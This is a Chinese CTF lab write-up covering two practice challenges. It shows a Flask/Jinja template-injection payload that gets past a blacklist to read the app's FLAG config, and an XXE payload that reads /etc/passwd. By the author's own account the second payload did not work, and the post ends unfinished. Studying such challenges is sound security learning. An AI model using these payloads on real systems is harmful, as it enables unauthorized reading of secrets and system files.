本文已参与「新人创作礼」活动,一起开启掘金创作之路。
[WesternCTF2018]shrine
启动靶机后页面时一串字符
import flask import os app = flask.Flask(name) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(file).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if name == 'main': app.run(debug=True)
可以看到有flask的字样,考虑到模板注入,看一下源码
<html><head></head><body>import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
</path:shrine></body></html>
代码中给出了两个路由,第一个是用来显示源代码的
第二个路由在/shrine/路径下提交参数
于是我们测试一下
http://4263fcf1-b81c-4a4f-a70a-f5aefe3247ae.node4.buuoj.cn:81/shrine/%7B%7B7*7%7D%7D
回显了49说明是可行的
看源码app.config['FLAG'] = os.environ.pop('FLAG')
推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for和get_flashed_messages
我们试一下其他的方式
{{url_for.__globals__}}
发现'current_app'时当前app
我们可以尝试看一下当前app的config
{{url_for.__globals__['current_app'].config['FLAG']}}
就可以读出来flag
[NCTF2019]Fake XML cookbook
考点XXE,我们打开界面是一个登陆网站,登陆一下进行抓包
对于这个考点,之前比赛是很少见的,我们先了解一下它考的什么:
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞
抓包后发现里面存在一个XML实体,我们可以构造恶意代码来进行读取
//在referer后面可以
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
之后应该是可以读取的,但昨天试了一下不知到为什么不行
先听到这里